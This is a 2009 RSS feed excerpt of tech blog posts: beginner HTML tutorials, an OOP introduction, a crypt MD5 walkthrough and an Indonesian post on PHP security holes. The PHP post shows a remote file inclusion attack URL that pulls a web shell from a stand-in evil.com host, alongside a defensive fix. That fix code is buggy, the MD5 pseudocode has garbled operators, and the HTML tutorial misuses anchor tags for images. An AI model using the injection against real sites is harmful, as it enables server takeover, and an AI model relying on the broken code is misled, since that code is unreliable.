<pubDate>Tue, 10 Nov 2009 01:04:47 +0000</pubDate>
<dc:creator>xmoensen</dc:creator>
<guid>http://xmoensen.wordpress.com/2009/11/10/object-oriented-programming-oop/</guid>
<description><![CDATA[Ide dasar OOP adalah mengkombinasikan data dan fungsi untuk mengakses data menjadi sebuah kesatuan u]]></description>
<content:encoded><![CDATA[<div class='snap_preview'><p>Ide dasar OOP adalah mengkombinasikan data dan fungsi untuk mengakses data<br />
menjadi sebuah kesatuan unit. Unit ini dikenal dengan obyek. Sebagai gambaran<br />
untuk mempurmudah memahaminya, obyek sebenarnya dapat mencerminkan<br />
pola kerja manusia sehari-hari. Sebuah obyek dapat diibaratkan sebagai<br />
departemen di dalam sebuah perusahaan bisnis, misalnya departemen<br />
- penjualan<br />
- akunting<br />
- personalia<br />
Pembagian departemen dalam perusahaan merupakan upaya untuk memudahkan<br />
pengoperasian perusahaan. Sebagai gambaran, jika Anda seorang manajer<br />
penjualan di kantor pusat ingin mengetahui data para salesmen di kantor cabang,<br />
apa yang Anda lakukan? Langkah yang Anda tempuh pasti bukan datang ke<br />
kantor cabang dan mencari data-data tersebut. Untuk memudahkan tugas Anda<br />
cukup Anda menyuruh sekretaris untuk meminta informasi. Masalah bagaimana<br />
dan siapa yang mencarikan bukanlah urusan Anda. Analogi dengan hal itu, kalau<br />
seseorang bermaksud menggunakan obyek, ia cukup mengirim pesan ke obyek<br />
dan obyek itu sendiri yang akan menanganinya.</p>
</div>]]></content:encoded>
</item>
<item>
<title><![CDATA[64bit Project with Visual C++ 2008 Express Edition SP1]]></title>
<link>http://earlgreyx.wordpress.com/2009/11/08/64bit-project-with-visual-c-2008-express-edition-sp1/</link>
<pubDate>Sun, 08 Nov 2009 10:35:16 +0000</pubDate>
<dc:creator>なかがわ</dc:creator>
<guid>http://earlgreyx.wordpress.com/2009/11/08/64bit-project-with-visual-c-2008-express-edition-sp1/</guid>
<description><![CDATA[無事、Windows7 のインストールと環境移行も完全に済み、ようやく64bitデビューできました(^^;;; 64bit版だからといって、特に変わったこともなく、フツーに使えてます。ただ、メモリ食い]]></description>
<content:encoded><![CDATA[無事、Windows7 のインストールと環境移行も完全に済み、ようやく64bitデビューできました(^^;;; 64bit版だからといって、特に変わったこともなく、フツーに使えてます。ただ、メモリ食い]]></content:encoded>
</item>
<item>
<title><![CDATA[11/7/09 - Inserting Images and Links in an HTML Document]]></title>
<link>http://zlstudios.wordpress.com/2009/11/07/11709-inserting-images-and-links-in-an-html-document-2/</link>
<pubDate>Sat, 07 Nov 2009 01:00:23 +0000</pubDate>
<dc:creator>cusinndzl</dc:creator>
<guid>http://zlstudios.wordpress.com/2009/11/07/11709-inserting-images-and-links-in-an-html-document-2/</guid>
<description><![CDATA[If you have a website you might want to make links you can click on and insert images instead of pla]]></description>
<content:encoded><![CDATA[<div class='snap_preview'><p>If you have a website you might want to make links you can click on and insert images instead of plain text. Below is how to insert a link.</p>
<p>&#60;a href=&#8221;http://www.linkurl.com&#8221;&#62;Link Text Here&#60;/a&#62;</p>
<p>If you notice it started with &#60;a and ended with &#60;/a&#62; that is showing that it started and ended. the href=&#8221;  is telling the computer it is the url and it is starting. After the url is a &#8220;&#62; that is telling the computer it is done with the link&#8217;s url and is starting what the link will be called. That is pretty simple you replace the url with whatever url you want and replace the text with what you want the link to be called on the website. Below is how to insert an image.</p>
<p>&#60;img src=&#8221;http://www.imageurl.com&#8221;/&#62;</p>
<p>That is how to insert an image without adding some more information and is not the best way to insert images below is hot to use the alt attribute.</p>
<p>&#60;a href=&#8221;http://www.imageurl.com&#8221; alt=&#8221;Image&#8221;/&#62;</p>
<p>The alt attribute is used if the image does not appear on the website it will have the text instead. This is a good thing to get used to doing. There is even more you can add to the image. Below is how to tell the computer the image dimensions.</p>
<p>&#60;a href=&#8221;http://www.imageurl.com&#8221; alt=&#8221;Image&#8221; width=&#8221;100&#8243; height=&#8221;100&#8243; /&#62;</p>
<p>This is another good thing to do because The internet browser will already know where the image is going to be and how big it is. If you don&#8217;t then the text might move when someone is reading it because an image just loaded.</p>
<p>&#60;a href=&#8221;http://www.yourdomain.com&#8221;&#62;&#60;img src=&#8221;http://imageurl.com&#8221; width=&#8221;100&#8243; height=&#8221;100&#8243; alt=&#8221;Image&#8221; /&#62;&#60;/a&#62;</p>
<p>That is how you make an image link to another website if you click on it. Below is how to make a border around the image.</p>
<p>&#60;a href=&#8221;http://www.yourdomain.com&#8221;&#62;&#60;img src=&#8221;http://imageurl.com&#8221; width=&#8221;100&#8243; height=&#8221;100&#8243; border=&#8221;10&#8243; alt=&#8221;Image&#8221; /&#62;&#60;/a&#62;</p>
<p>That makes a border of 10 pixels around the image. Below is how to make a link and an image link that opens in a different tab or window when they click on it.</p>
<p>&#60;a href=&#8221;http://www.yourdomain.com&#8221; target=&#8221;_blank&#8221;&#62;&#60;img src=&#8221;http://imageurl.com&#8221; width=&#8221;100&#8243; height=&#8221;100&#8243; border=&#8221;10&#8243; alt=&#8221;Image&#8221; /&#62;&#60;/a&#62;</p>
<p>&#60;a href=&#8221;http://www.yourdomain.com&#8221; target=&#8221;_blank&#8221;&#62;Link Text Here&#60;/a&#62;</p>
<p>The top one is how to make an image link open in a new tab and the bottom one is how to do that with a link.</p>
</div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Crypt MD5 (Message-Digest algortihm 5)]]></title>
<link>http://rudihidayat1.wordpress.com/2009/11/06/crypt-md5-message-digest-algortihm-5/</link>
<pubDate>Fri, 06 Nov 2009 18:21:51 +0000</pubDate>
<dc:creator>Rudi Hidayat</dc:creator>
<guid>http://rudihidayat1.wordpress.com/2009/11/06/crypt-md5-message-digest-algortihm-5/</guid>
<description><![CDATA[Dalam kriptografi, MD5 (Message-Digest algortihm 5) ialah fungsi hash kriptografik yang digunakan se]]></description>
<content:encoded><![CDATA[<div class='snap_preview'><p>Dalam kriptografi, MD5 (Message-Digest algortihm 5) ialah fungsi hash kriptografik yang digunakan secara luas dengan hash value 128-bit. Pada standart Internet (RFC 1321), MD5 telah dimanfaatkan secara bermacam-macam pada aplikasi keamanan, dan MD5 juga umum digunakan untuk melakukan pengujian integritas sebuah file.</p>
<p>MD5 di desain oleh Ronald Rivest pada tahun 1991 untuk menggantikan hash function sebelumnya, MD4. Pada tahun 1996, sebuah kecacatan ditemukan dalam desainnya, walau bukan kelemahan fatal, pengguna kriptografi mulai menganjurkan menggunakan algoritma lain, seperti SHA-1 (klaim terbaru menyatakan bahwa SHA-1 juga cacat). Pada tahun 2004, kecacatan-kecacatan yang lebih serius ditemukan menyebabkan penggunaan algoritma tersebut dalam tujuan untuk keamanan jadi makin dipertanyakan.<br />
<!--more--><br />
<em>Crypt MD5</em> ditulis oleh Paul Henning Kamp untuk FreeBSD. Alasan utama menggunakan MD5 adalah untuk menghindari masalah larangan ekspor Amerika atas 11 produk-produk kriptografi, dan bisa memproses password yang panjangnya lebih dari 8 karakter. Algoritma crypt MD5 adalah fungsi derivasi kunci yang bagian utamanya menggunakan algoritma MD5.</p>
<p>Password dan salt menjadi input untuk crypt MD5. Dalam crypt MD5, input ini dikombinasikan menjadi aliran data untuk diproses oleh algoritma-algoritma MD5, output-output dari algoritma MD5 dikombinasikan lagi sebagai input untuk algoritma-algoritma MD5 berikutnya, begitu seterusnya sampai satu kondisi untuk penghentian perulangan terpenuhi.</p>
<p><strong>Modifikasi Algoritma MD5</strong><br />
Agar dapat secara efisien memproses aliran data yang tidak dari awal diketahui panjangnya, algoritma MD5 perlu dimodifikasi menjadi tiga bagian MD5 init, MD5 update, MD5 final. MD5 init menginisialisasi MD5 contex, MD5 update memproses potongan message untuk mengupdate nilai MD5 contex. MD5 final memproses MD5 contex menjadi output hash MD5.<br />
MD5 contex ((h1, h2, h3, h4), s, l) adalah kumpulan empat word 32 bit (h1, h2, h3, h4), satu string s yang panjangnya kurang dari 64 byte (512 bit) dan satu bilangan 64 bit l.</p>
<p><strong>Algoritma MD5 init</strong><br />
INPUT : Tidak ada<br />
OUTPUT : MD5 contex<br />
1. (h1, h2, h3, h4) ? (0×67452301, 0xefcdab89, 0×98badcfe, 0×10325476)<br />
2. 2. s ? NULL<br />
3. 3. l ? 0<br />
4. 4. Output adalah MD5 contex ((h1, h2, h3, h4), s, l).</p>
<p><strong>Algoritma MD5 update</strong><br />
INPUT : MD5 contex ((h1, h2, h3, h4), s, k) dan string x dengan panjang b sembarang.<br />
OUTPUT : MD5 contex<br />
1. Notasi.<br />
L(z) adalah panjang string z<br />
Mbl((H1,H2,H3,H4),z) adalah pemrosesan MD5 blok dengan empat word<br />
(H1,H2,H3,H4) dan blok string z 512 bit.<br />
+ adalah penjumlahan modulo 264<br />
2. y ? s&#124;&#124;x<br />
3. Andaikan n = L(y), maka ada m dan l sedemikian hingga n = 512m+l, 0 = l&#60; 512, m = 0.<br />
Uraikan y menjadi y = y0y1..ym-1ym dengan L(yi) = 512 untuk 0 = i = m – 1, L(ym)=l.<br />
4. Untuk i dari 0 sampai m – 1 lakukan langkah berikut:<br />
(h1, h2, h3, h4) ? Mbl((h1, h2, h3, h4), yi)<br />
k ? k + 512<br />
5. Output.<br />
Output adalah MD5 contex ((h1, h2, h3, h4), ym, k)</p>
<p><strong>Algoritma MD5 Final</strong><br />
INPUT : MD5 contex ((h1, h2, h3, h4), s, k)<br />
OUTPUT : kode hash<br />
1. l ? L(s)<br />
2. k ? k + l<br />
3. Jika l = 448 lakukan:<br />
Tambahkan satu bit 1 pada s, kemudian tambahkan bit 0 sampai L(s) = 512 + 448<br />
Uraikan s menjadi s = s0s1 dengan L(s0) = 512 dan L(s1) = 448<br />
(h1, h2, h3, h4) ? Mbl((h1, h2, h3, h4), s0)<br />
s ? s1<br />
4. Jika l &#60; 448 lakukan:<br />
Tambahkan satu bit 1 pada s, kemudian tambahkan bit 0 sampai L(s) = 448<br />
5. Tambahkan bit-bit representasi k pada s, sehingga L(s) = 512.<br />
6. (h1, h2, h3, h4) ? Mbl((h1, h2, h3, h4), s).<br />
7. Output.<br />
Output adalah penggabungan h1&#124;&#124;h2&#124;&#124;h3&#124;&#124;h4.</p>
<p><strong>Algoritma Message digest MD5</strong><br />
INPUT : String-string x0×1..xm dengan panjang masing-masing sembarang.<br />
OUTPUT : Kode hash Message digest.<br />
1. Notasi.<br />
Cx adalah MD5 contex, Cx = ((h1, h2, h3, h4), x,l).<br />
Min adalah pemrosesan MD5 init.<br />
Mup(Cx, x) adalah pemrosesan MD5 update dengan input MD5 contex Cx dan string x.<br />
Mfin(Cx) adalah pemrosesan MD5 final dengan input MD5 contex Cx.<br />
2. Cx ? Min<br />
3. Untuk i dari 0 sampai m lakukan langkah berikut:<br />
Cx ? Mup(Cx, xi)<br />
4. Output.<br />
Output adalah Mfin(Cx)</p>
<p><img title="Algoritma MD5 init, MD5 update, MD5 final_1" src="http://rohm4n.files.wordpress.com/2009/08/algoritma-md5-init-md5-update-md5-final_1.jpg?w=500&#038;h=244#38;h=244" alt="Algoritma MD5 init, MD5 update, MD5 final_1" width="500" height="244" /></p>
<p><strong>Transformasi Base 64</strong><br />
Transformasi base64 adalah pemetaan dari data-data 6 bit ke kumpulan 64 karakter ‘./0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz’.<br />
Transformasi base64 digunakan dalam crypt MD5 untuk merepresentasikan bit-bit output dari algoritma MD5. Representasi dengan transformasi base64 menghasilkan string yang lebih pendek daripada representasi string nilai heksadesimal, karena satu karakter dari string base64 mewakili 6 bit data, sedangkan satu karakter string nilai heksadesimal mewakili 4 bit data.<br />
Algoritma Transformasi base64<br />
INPUT : string bit r dan banyaknya karakter output n.<br />
OUTPUT : string output.<br />
1. s?./0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz<br />
s[0] = ., s[1] = /, s[2] = 0, …, s[63] = z<br />
2. t ? NULL<br />
3. Selama n &#62; 0 lakukan langkah berikut:<br />
i ? r ^ 0×3f<br />
t ? t&#124;&#124;s[i]<br />
r ? r ? 6<br />
n ? n – 1<br />
4. Output.<br />
Output adalah string t.</p>
<p><strong>Algoritma Crypt MD5</strong><br />
Algoritma crypt MD5 mengambil input string password dan string salt, dan menghasilkan output string dengan panjang 26 sampai 34 karakter, tergantung dari panjang salt.<br />
Algoritma Crypt MD5<br />
INPUT : string password s dan string salt t yang diawali ‘$1$’<br />
OUTPUT : string hasil crypt.<br />
1.   Notasi.<br />
p karakter pertama dari s.<br />
f tiga karakter awal salt ‘$1$’.<br />
r karakter-karakter salt setelah ‘$1$’ sampai delapan karakter atau sampai<br />
ditemukan karakter ‘$’ atau sampai akhir string.<br />
Cx1 , Cx2 MD5 contex.<br />
L(a) adalah panjang string a dalam satuan byte.<br />
2.  m L(s)<br />
3.  Cx1 ? Min<br />
4.  Cx1 ? Mup(Cx1 , s)<br />
5.   Cx1 ? Mup (Cx1 , f)<br />
6.  Cx1 ? Mup (Cx1 , r)<br />
7.  Cx2 ? Mup (Cx2 , s)<br />
9.  Cx2 ? Mup (Cx2 , r)<br />
10.  Cx2 ? Mup (Cx2 , s)<br />
11.  a ? Mfin(Cx2)<br />
12. Uraikan a menjadi a = a0a1..a15 dengan L(ai) = 1, 0 = i = 15.<br />
Ambil b = b0b1..bm-1 dengan bi = ai mod 16, 0 = i = m – 1<br />
Cx1 ? Mup(Cx1 , b)<br />
13.  i ? m<br />
14.  Selama i &#62; 0 lakukan langkah berikut:<br />
jika i ^ 1 = 1 maka c ? 0 (satu byte).<br />
jika i ^ 1 ? 1 maka c ? p<br />
Cx1 ? Mup(Cx1 , c)<br />
i ? i ? 1<br />
15.  a? Mfin(Cx1)<br />
16.  Untuk i dari 0 sampai 999 lakukan langkah berikut:<br />
Cx1 ? Min<br />
jika i ^ 1 ? 0 maka Cx1 ? Mup(Cx1 , s)<br />
jika i ^ 1 = 0 maka Cx1 ? Mup(Cx1 , a)<br />
jika i mod 3 ? 0 maka Cx1 ? Mup(Cx1 , r)<br />
jika i mod 7 ? 0 maka Cx1 ? Mup(Cx1 , s)<br />
jika i ^ 1 ? 0 maka Cx1 ? Mup(Cx1 , a)<br />
jika i ^ 1 = 0 maka Cx1 ? Mup(Cx1 , s)<br />
a ? Mfin(Cx1)<br />
17.  Uraikan a menjadi a = a0a1..a15 dengan L(ai) = 1, 0 = i = 15.<br />
18.  c0 ? B64(a0&#124;&#124;a6&#124;&#124;a12, 4)<br />
19.  c1 ? B64(a1&#124;&#124;a7&#124;&#124;a13, 4)<br />
20.  c2 ? B64(a2&#124;&#124;a8&#124;&#124;a14, 4)<br />
21.  c3 ? B64(a3&#124;&#124;a9&#124;&#124;a15, 4)<br />
22.  c4 ? B64(a4&#124;&#124;a10&#124;&#124;a5, 4)<br />
23.  c5 ? B64(a11, 2)<br />
24. Output.<br />
Output adalah penyambungan f&#124;&#124;r&#124;&#124;$&#124;&#124;c0&#124;&#124;c1&#124;&#124;c2&#124;&#124;c3&#124;&#124;c4&#124;&#124;c5</p>
<p><img title="Algoritma Crypt MD5_2" src="http://rohm4n.files.wordpress.com/2009/08/algoritma-crypt-md5_2.jpg?w=500&#038;h=389#38;h=389" alt="Algoritma Crypt MD5_2" width="500" height="389" /></p>
<p>Baca selengkapnya di :</p>
<p><a href="http://id.wikipedia.org/wiki/MD5">http://id.wikipedia.org/wiki/MD5</a></p>
</div>]]></content:encoded>
</item>
<item>
<title><![CDATA[11/6/09 - HTML Colors]]></title>
<link>http://zlstudios.wordpress.com/2009/11/06/11609-html-colors-2/</link>
<pubDate>Fri, 06 Nov 2009 01:00:22 +0000</pubDate>
<dc:creator>cusinndzl</dc:creator>
<guid>http://zlstudios.wordpress.com/2009/11/06/11609-html-colors-2/</guid>
<description><![CDATA[If you have not used color in your HTML document you should try and see that using color can be a go]]></description>
<content:encoded><![CDATA[<div class='snap_preview'><p>If you have not used color in your HTML document you should try and see that using color can be a good thing. The first thing you  need to know about colors is that there are certain web safe colors just like web safe fonts. The web safe fonts you can enter there names and they will work. You can use any color if you enter in the hexadecimal color number (like white is #ffffff). To change the background color you type in the tag below.</p>
<p>&#60;body bgcolor=#ffffff&#62;</p>
<p>That makes the background color white if you want it black it is #000000 and if you want to pick a color a good website to go to is <a href="http://www.colorpicker.com/">http://www.colorpicker.com/</a>. Below is how to change the font color to black.</p>
</div>]]></content:encoded>
</item>
<item>
<title><![CDATA[11/5/09 - HTML Tutorial 3 Formatting The Text]]></title>
<link>http://zlstudios.wordpress.com/2009/11/05/11509-html-tutorial-3-formatting-the-text-2/</link>
<pubDate>Thu, 05 Nov 2009 01:00:55 +0000</pubDate>
<dc:creator>cusinndzl</dc:creator>
<guid>http://zlstudios.wordpress.com/2009/11/05/11509-html-tutorial-3-formatting-the-text-2/</guid>
<description><![CDATA[﻿ That is the hello world website. If you have that as your website the text is plain and everything]]></description>
<content:encoded><![CDATA[<div class='snap_preview'><p>﻿<a href="http://3.bp.blogspot.com/_58ThwIL5gys/SuWs3pP9dTI/AAAAAAAAADU/SeL7JeMTmnQ/s1600-h/html+intro.jpg"><img src="http://3.bp.blogspot.com/_58ThwIL5gys/SuWs3pP9dTI/AAAAAAAAADU/SeL7JeMTmnQ/s320/html+intro.jpg" border="0" alt="" /></a><br />
That is the hello world website. If you have that as your website the text is plain and everything is default. This is how to do some basic formating like size and type and stuff like that. Tomorrow&#8217;s tutorial will be how to use colors in the HTML document. The first thing you might want to do is make something bold. Below is how to make the word hello bold.</p>
<p>&#60;b&#62;Hello&#60;/b&#62; World</p>
<p>Notice that I used the &#60;b&#62; tag that is how to make something bold. To end the bold tag use &#60;/b&#62; you can start and end it anywhere so if you wanted to you could of made just the H bold. After that you might want to make something italicized. Below is how to make World italicized.</p>
<p>&#60;b&#62;Hello&#60;/b&#62; &#60;i&#62;World&#60;/i&#62;</p>
<p>Notice that I used &#60;i&#62; to start it and &#60;/i&#62; to end it, it is kind of like the &#60;b&#62; tag because you can start and stop it anywhere. The next thing you might want to do is make something underlined. Below is how to make the whole thing underlined.</p>
<p>&#60;u&#62;&#60;b&#62;Hello&#60;/b&#62; &#60;i&#62;World&#60;/i&#62;&#60;/u&#62;</p>
<p>That makes everything underlined and hello bold and world italicized. The next thing you might want to do is make the text a different font. Below is how to make something an arial font.</p>
<p>&#60;font face=&#8221;arial&#8221;&#62;Hello World</p>
<p>Notice that I did not end it you do not need to end font tags to change font just do it again with a different font name. If you use a font you will need to make sure you are using a web safe font. That means that it works on Macs, Windows, and on Linux. To list more than one font so if one computer does not have it then it will go to the next on you put a coma after the first font and list another. The next thing you might want to do is make a font bigger or smaller. Below is one way to do that.</p>
<p>&#60;font face=&#8221;arial&#8221;&#62; &#60;font size=&#8221;10px&#8221;&#62; Hello World</p>
<p>That makes the font size 10 pixels. This is another tag you do not need to end you just enter it in again but a different size to make it bigger or smaller. There is one other way to adjust font size. Below is how to do that.</p>
<p>&#60;h1&#62;Hello World&#60;/h1&#62;<br />
&#60;h2&#62;Hello World&#60;/h2&#62;<br />
&#60;h3&#62;Hello World&#60;/h3&#62;<br />
&#60;h4&#62;Hello World&#60;/h4&#62;<br />
&#60;h5&#62;Hello World&#60;/h5&#62;<br />
&#60;h6&#62;Hello World&#60;/h6&#62;</p>
<p>That makes the font in different sizes 1 is biggest and 6 is smallest. You do need to end this tag before entering in another. Another thing you might want to do is center the text . Below is how to center Hello World.</p>
<p>&#60;center&#62; Hello World &#60;/center&#62;</p>
<p>This tag needs to be ended when you want the text to stop being centered. Another thing you might want to do is make a paragraph or break the text. Below is  how to do that with the words hello world.</p>
<p>&#60;p&#62;<br />
Hello<br />
&#60;br&#62;<br />
World<br />
&#60;/p&#62;</p>
<p>The &#60;p&#62; tag is how to start the paragraph and the &#60;/p&#62; tag is used to end the paragraph it does need to be ended. The &#60;br&#62; tag is used to make a line break or  new line. It does not need to be ended. That is all for this tutorial tomorrow&#8217;s tutorial will be on colors.</p>
<div><span style="font-family:Verdana, Arial, Helvetica, sans-serif;"><span style="line-height:normal;"><strong><br />
</strong></span></span></div>
</div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Tutorial Dasar PHP]]></title>
<link>http://bayex.wordpress.com/2009/11/05/tutorial-dasar-php/</link>
<pubDate>Thu, 05 Nov 2009 00:51:22 +0000</pubDate>
<dc:creator>bayex</dc:creator>
<guid>http://bayex.wordpress.com/2009/11/05/tutorial-dasar-php/</guid>
<description><![CDATA[PHP Hypertext Preposessor adalah script yang bersifat server-side yang  ditambahkan ke dalam tag. si]]></description>
<content:encoded><![CDATA[PHP Hypertext Preposessor adalah script yang bersifat server-side yang  ditambahkan ke dalam tag. si]]></content:encoded>
</item>
<item>
<title><![CDATA[Pengenalan Celah keamanan pada Aplikasi Web berbasis PHP]]></title>
<link>http://rudihidayat1.wordpress.com/2009/11/04/pengenalan-celah-keamanan-pada-aplikasi-web-berbasis-php/</link>
<pubDate>Wed, 04 Nov 2009 14:21:17 +0000</pubDate>
<dc:creator>Rudi Hidayat</dc:creator>
<guid>http://rudihidayat1.wordpress.com/2009/11/04/pengenalan-celah-keamanan-pada-aplikasi-web-berbasis-php/</guid>
<description><![CDATA[Pendahuluan PHP adalah salahsatu bahasa pemrograman web yang pengguna dan penikmatnya cukup banyak d]]></description>
<content:encoded><![CDATA[<div class='snap_preview'><p><strong>Pendahuluan</strong><br />
PHP adalah salahsatu bahasa pemrograman web yang pengguna dan penikmatnya cukup banyak di area cyberspace. dikarenakan bahasa web ini yang dinamis dan termasuk dalam opensource (info : http://php.net). PHP menjadi “ladang” pengaplikasian berbagai variabel yang ada dalam script secara autoglobal oleh programer dan juga menjadi “ladang” attacking para attacker karena PHP memiliki fasilitas autoglobal pada beberapa variabel :p</p>
<p><strong>GET and POST</strong><br />
Diawali dengan deklarasi variabel GET/POST yang berasal dari fasilitas autoglobal yang ada dalam PHP. variabel register_global yang tersetting “on” pada file php.ini berfungsi untuk membatasi variabel-variabel apa saja yang akan digunakan dalam script php. jika register_global on maka web admin tidak perlu spesifik dalam mendefinisikan variabel dan jika off. maka variabelpun harus di definisikan secara spesifik. seperti ini lah contoh script php nya :</p>
<p>&#60;?php<br />
echo $_POST['newhack']; //variabel newhack dikirim dengan methode POST<br />
?&#62;</p>
<p>dari sisi pengamanan settingan on lebih rawan daripada off. dikarenakan variabel-variabel yang dibatasi sangat minim. apabila kita settingan off maka effisiensi code sangat lah besar. jadi, pentingnya register_global sangat di utamakan dalam sebuah aplikasi web yang bertujuan dalam hal pengamanan.</p>
<p>&#160;</p>
<p><strong>Parameter Include</strong><br />
Berhubungan dengan sub-bab diatas, fasilitas autoglobal pada PHP juga pasti berpengaruh pada parameter fungsi include(), require(), fopen() dan lain-lain. contoh variabel seperti itu dengan mudah dapat diisi dengan variabel GET/POST atau COOKIES/SESSION. karena pengaruh autoglobal itu sendiri.</p>
<p>saya akan memberikan contoh salah-satu bug yang berhubungan dengan variabel-variabel diatas. Remote File Inclusion, bug klasik (mungkin sekarang masih ada :p) yang digunakan untuk me-remote web/server si target.<br />
contoh script PHP :</p>
<p>&#60;?php</p>
<p>$file =$_GET['page']; // contoh kita akan menginclude file galeri.php<br />
include($file);<br />
?&#62;</p>
<p>tanpa sanitasi input dalam proses pengeksekusian $file =$_GET['page'];<br />
http://www.site.com/index.php?page=galeri.php<br />
maka attacker akan dengan mudah menginjek proses $file dengan evil scriptnya. contoh menjadi seperti ini<br />
http://www.site.com/index.php?page=http://www.evil.com/r57.txt?<br />
dan bila kita lihat source codenya akan menjadi seperti ini :<br />
&#60;?php<br />
$file =”http://www.evil.com/r57.txt?”; / /$_GET['page'];<br />
include($file);<br />
?&#62;</p>
<p>script $file akan menjadi script yang di injekan oleh si attacker. prosesnya seperti ini. pertama, awal dari bug ini adalah lagi-lagi fungsi dari include. fungsi ini berguna untuk menginclude (memasukan) file, yang disini telah dirubah menjadi file remote oleh si attacker. variabel fungsi yang sama terdapat pada include_once(), require(), require_once().<br />
solusi dari bug ini sebenarnya sangat banyak. tapi bagi saya ada beberapa yang efisien digunakan. salah satunya dengan memasukan file yang sah di include ke array. contoh script seperti ini :</p>
<p>$file_valid = new array(”index”,”galeri”,”profil”);</p>
<p>$file = $_GET['page'];<br />
if(!in_array($file_valid,$file)){$file = index;} // fungsi cek file<br />
proses sederahananya seperti ini : $file_valid adalah variabel baru yang dimasukan ke array. lalu code selanjutnya adalah pengecekan ketika $file di injeksi oleh script attacker (www.evil.com/r57.txt) maka file tidak valid karena tidak ada dalam array $file_valid. lalu %file di ganti value (redirect) ke file index.php</p>
<p><strong>Penutup</strong><br />
Sebenarnya masih banyak lagi celah-celah keamanan pada aplikasi web berbasis PHP. dari mulai proses input query database, system(), passthry(), shellexec(), exec() dan lain-lain. atau pada database seperti MySQL, bug dijalankan melalui perintah-perintah yang bisa kita inputkan di web browser. tapi dalam artikel ini saya hanya mengenalkan beberapa celah keamanan yang cukup diperhitungkan kondisinya.</p>
</div>]]></content:encoded>
</item>
<item>
<title><![CDATA[11/4/09 - HTML Tutorial Part 2 Explaining Hello World]]></title>
<link>http://zlstudios.wordpress.com/2009/11/04/11409-html-tutorial-part-2-explaining-hello-world-2/</link>
<pubDate>Wed, 04 Nov 2009 01:00:48 +0000</pubDate>
<dc:creator>cusinndzl</dc:creator>
<guid>http://zlstudios.wordpress.com/2009/11/04/11409-html-tutorial-part-2-explaining-hello-world-2/</guid>
<description><![CDATA[&nbsp; That was the HTML code from yesterdays post. You might of  been able to understand it or you ]]></description>
<content:encoded><![CDATA[<div class='snap_preview'><p>&#160;</p>
<div><img src="http://4.bp.blogspot.com/_58ThwIL5gys/SuWpuIocsCI/AAAAAAAAADM/DcsLBDCJark/s320/html+intro.jpg" alt="" />
</div>
<div>That was the HTML code from yesterdays post. You might of  been able to understand it or you might of not been able to. This is a tutorial that tells you what everything does. The fist thing you see is  &#60;html&#62; that is telling the computer that this is an HTML document and it is starting. the symbols &#60; &#62; with text in the middle means you are starting that tag. The symbols &#60;/ &#62; with text in the middle mean that you are ending that tag. The next thing you see is &#60;head&#62; this is telling the computer that it is starting the head section. In the head section you can put a lot more things than just the title. You can put a favicon, meta tags, scripts, and more but I will tell you about that on a different tutorial. Next you see &#60;title&#62; that is telling the computer that you are giving the website a title. Notice that the &#60;title&#62; tag is inside the &#60;head&#62; tag that is were it should be it would not be correct to put it in the &#60;body&#62; tag. Next you see the words Hello World that is the title so that is what would appear in the title bar. Next  you see &#60;/title&#62; that is telling the computer you are done with the title so it does not keep making the whole website the title. Next you see &#60;/head&#62; that is telling the computer you are done with the head. After that you see &#60;body&#62; this is telling the computer that you are starting the body. After the body tag you see the words Hello World that is what will show up in the internet browser so this is where the content goes. After that you see &#60;/body&#62; that is saying you are done with the body. The last thing you see is &#60;/html&#62; that is saying you are done with the HTML document. Tomorrow&#8217;s tutorial will be how to use some formating for the text.</div>
</div>]]></content:encoded>
</item>
<item>
<title><![CDATA[11/3/09 - HTML Intro Tutorial]]></title>
<link>http://zlstudios.wordpress.com/2009/11/03/11309-html-intro-tutorial-2/</link>
<pubDate>Tue, 03 Nov 2009 01:00:03 +0000</pubDate>
<dc:creator>cusinndzl</dc:creator>
<guid>http://zlstudios.wordpress.com/2009/11/03/11309-html-intro-tutorial-2/</guid>
<description><![CDATA[If you have a website and use a WYSIWYG (what you see is what you get) editor then you might want to]]></description>
<content:encoded><![CDATA[<div class='snap_preview'><p>If you have a website and use a WYSIWYG (what you see is what you get) editor then you might want to try HTML because you can do a lot more with HTML. HTML stands for Hyper Text Markup Language HTML is not a real programing language it is a Markup Language. HTML was started in 1980 and grew better and bigger later. HTML was introduced to the public in 1991. HTML can do a lot more today than it could do in 1991. There is now HTML 4.0, SHTML, XML, XML 5.0, XHTML, CSS, PHP, and more. Now there are applications on the internet that are like applications on your computer like Google Docs. There are even online operating systems that you can use. There is online file sharing online email online chat and lots more online things. There are even computers made to be on the internet they are netbooks. There are even operating systems that are based off of web apps like Jolicloud and Chrome OS is supposed to. Below is a simple website&#8217;s code.</p>
<p>&#160;</p>
<p><a href="http://2.bp.blogspot.com/_58ThwIL5gys/SuWo36k7SVI/AAAAAAAAADE/TRVzds30zfM/s1600-h/html+intro.jpg"><img src="http://2.bp.blogspot.com/_58ThwIL5gys/SuWo36k7SVI/AAAAAAAAADE/TRVzds30zfM/s320/html+intro.jpg" border="0" alt="" /></a></p>
<p>&#160;</p>
<p>&#160;</p>
<p>&#160;</p>
<p>That is how to make a website say hello world. tomorrow there will be a tutorial on how that works.</p>
</div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Static Access to Request-Specific Data]]></title>
<link>http://blog.ngensoft.net/2009/11/02/static-access-to-request-specific-data/</link>
<pubDate>Mon, 02 Nov 2009 03:15:26 +0000</pubDate>
<dc:creator>Joel Martinez</dc:creator>
<guid>http://blog.ngensoft.net/2009/11/02/static-access-to-request-specific-data/</guid>
<description><![CDATA[As we have all come to learn in the last decade plus of web development, web applications are inhere]]></description>
<content:encoded><![CDATA[<div class='snap_preview'><p>As we have all come to learn in the last decade plus of web development, web applications are inherently stateless.  Unlike their native client cousins, every request must be treated as if it was done in isolation from any other user action.  This can tend to complicate application level concerns.  More often than not people just end up polluting their application by mixing code that is related to servicing the http request, with their business logic.</p>
<p>We wanted a way to maintain application related plumbing such as database connections neatly maintained, without having to always worry about the stateless nature of http requests.  We noticed that ASP.NET has a really nice pattern that works really well in the HttpContext.Current property.  This is a static property that contains information about only the current request &#8230; at first I couldn&#8217;t figure out how this works because ASP.NET is by nature a multi-threaded environment.  How was it segregating the information, which is accessed statically, to each individual requests?</p>
